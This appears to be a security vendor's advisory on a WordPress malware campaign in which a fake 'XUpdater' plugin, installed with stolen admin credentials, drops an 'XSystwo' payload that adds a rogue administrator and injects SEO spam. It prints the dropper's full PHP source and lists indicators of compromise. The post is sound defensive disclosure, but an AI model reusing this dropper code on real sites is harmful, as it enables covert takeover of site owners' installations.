DECEMBER 22, 2025

New Malware Camxpaign: XUpdater and XSystwo

A new and sophisticated malware campaign has been identified, targeting web infrastructure and leveraging compromised credentials to gain initial access. Our research team has uncovered a multi-stage infection process involving a dropper disguised as a legitimate WordPress plugin, followed by a malicious payload responsible for the core malicious activity. 

Infection Vector: Compromised Credentials and Initial Dropper

The initial stage of the attack relies heavily on previously compromised credentials, likely obtained through prior data breaches, phishing, or brute-force attacks. Once access is gained to a target WordPress’s administrative panel, the attackers install a fake plugin that acts as a primary dropper.

This initial dropper is deceptively simple and appears in relatively clear text, allowing it to bypass basic signature-based scanning while maintaining polymorphism. The plugin names observed follow a pattern of "XUpdater" with incrementing version numbers, such as:

  • XUpdater14
  • XUpdater15
  • XUpdater16
  • ...and subsequent variations.

The primary function of this initial "XUpdater" plugin is to install and deploy the secondary, which is the payload that contains the malware. The plugin basically calls a ZIP file with random names, and then deploys this as the XSystwo plugin as we can observe on the following sample of a XUpdater15 variation of this dropper:

<?php
/** 
* Plugin Name: XWP Installer15 
* Description: XWP Installer15 
* Version: 1.2 
* Author: WordPress 
*/
register_activation_hook(__FILE__, 'xwp_installer_activate_15');‍

function xwp_installer_activate_15() {
	$zip_file = plugin_dir_path(__FILE__) . 'Sys3847LockU.zip';	
    $plugin_dir = ABSPATH . 'wp-content/plugins/';	
    $plugin_entry = 'XSystwo/XSystwo.php';‍	
    
    update_option('xwp_curr_posts', 0);	
    update_option('xwp_last_create', 0);
    
    update_option('xwp_key', 0);‍	
    
    require_once ABSPATH . 'wp-admin/includes/file.php';	
    require_once ABSPATH . 'wp-admin/includes/plugin.php';‍	
    
    WP_Filesystem();	
    global $wp_filesystem;‍	
    
    if (file_exists($zip_file)) {		
    	$result = unzip_file($zip_file, $plugin_dir);		
        if (function_exists('wp_clean_plugins_cache')) {			
        	wp_clean_plugins_cache(true);		
            }		
            sleep(1);		
            if (!is_plugin_active($plugin_entry)) {				
            		$activation = activate_plugin($plugin_entry);		
            }	
      }
}

The Malicious Payload: XSystwo

The second stage of the infection involves the deployment of a new plugin, which they have named XSystwo. This payload is the core component of the campaign, responsible for performing the actual malicious activities, which primarily center around creating a rogue WordPress Administrator tied to a wordpress[.]com email account, injecting SEO SPAM and disabling caching plugins.

Below are the most interesting files:

./XSystwo/XSystwo.php
./XSystwo/ID200/class.01.php
./XSystwo/ID200/ID200.php
./XSystwo/ID100/SXCAPTH.php


Indicators of Compromise (IoC)

Security administrators are urged to check their systems immediately for the presence of these files and monitor network traffic for connections to the identified malicious IP addresses.

Type
Indicator
Description
Plugin Name (Dropper)
XUpdater14, XUpdater15, XUpdater16, etc.
Initial, clear-text dropper plugin file name variations.
Plugin Name (Payload)
XSystwo
Malicious fake plugin that creates a rogue Administrator account, injects SEO spam, and disables caching plugins.
File Path
/wp-content/plugins/XUpdater[XX]/
Common installation directory for the dropper (where XX is 14, 15, 16, etc.).
File Path
/wp-content/plugins/XSystwo/
Installation directory for the final payload.
IP Address (C2 / Dropper)
  • 193.160.113.201
  • 91.103.125.247
  • 193.160.102.31
  • 163.5.108.189
  • 163.5.108.51
  • 2605:a141:2261:4410::1
IPs observed pushing the initial fake plugin installer.
IP Address (C2 / Payload)
172.67.A.B
IP range observed retrieving the highly obfuscated XSystwo payload.
Network Traffic
HTTP POST to /wp-admin/update.php?action=upload-plugin
Potential callback or update-check behavior initiated by the malware.
Network Traffic
HTTP GET with query strings:
  • xwp_key
  • xwp_stats
  • xwp_posts
  • xwp_upd
  • xwp_lnk
Observed request patterns associated with malware activity.
Network Traffic
HTTP POST parameters:
  • xcat
  • xtitle
  • xbody
POST payload parameters associated with SEO spam and content-injection activity.

Note: The specific IP addresses provided above are the ones observed during the investigation. Specific, actionable IPs should be validated with your threat intelligence feeds.